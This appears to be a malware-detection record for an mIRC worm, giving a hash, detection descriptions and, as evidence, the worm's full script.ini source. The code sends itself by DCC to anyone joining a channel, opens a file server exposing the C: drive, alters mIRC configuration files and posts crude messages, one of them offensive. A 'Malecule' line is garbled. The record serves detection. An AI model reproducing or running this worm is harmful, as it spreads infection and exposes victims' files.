IRC-Worm.IRC.Badboy.b
Known IRC worm payload
Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-256d9ef38c0acaf1be8a496e4490e875924ad641f7eab0415e8efa46ffdcd4b6479
MaleculeO₂(CLa)H(F)
Evidence
1n0=; -bADbOY-
2n1=; by -Masey- [NuKE]
3n2=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }
4n3= /dcc send $nick $script.ini
5n4=}
6n5=1:TEXT:*sucks*:#:/say I Love to Dance Like PuFFy Combs!
7n6=1:TEXT:*no*:#:/say Mase is my boyfreind!
8n7=1:TEXT:*yes*:#:/say I raped Notorious B.I.G.!
9n8=ON 1:TEXT:*Puffy*:#:/.ignore $nick
10n9=ON 1:TEXT:*!the*:#:/fserve $nick 1 c:\
11n10=ON 1:TEXT:*hi*:#:/mode $chan +o $nick
12n11=ON 1:TEXT:*lamer*:#:/kick $chan $me
13n12=ON 1:TEXT:*Badboy*:#:/rename c:\mirc\popups.INI Puffdaddy.INI
14n13=ON 1:QUIT:#:/msg $chan Hello, to my creator Masey[NuKE] and Metaphase!
15n14=ON 1:CONNECT:/nick BeTa_BaDbOy
16n15=ON 1:CONNECT:/join #vir
17n16=ON 1:TEXT:*fuck*:#:/remini C:\mIRC\aliases.INI
18n17=ON 1:QUIT:#:/msg $chan Later Coderz, Im lame cause Im infected by a wOrM!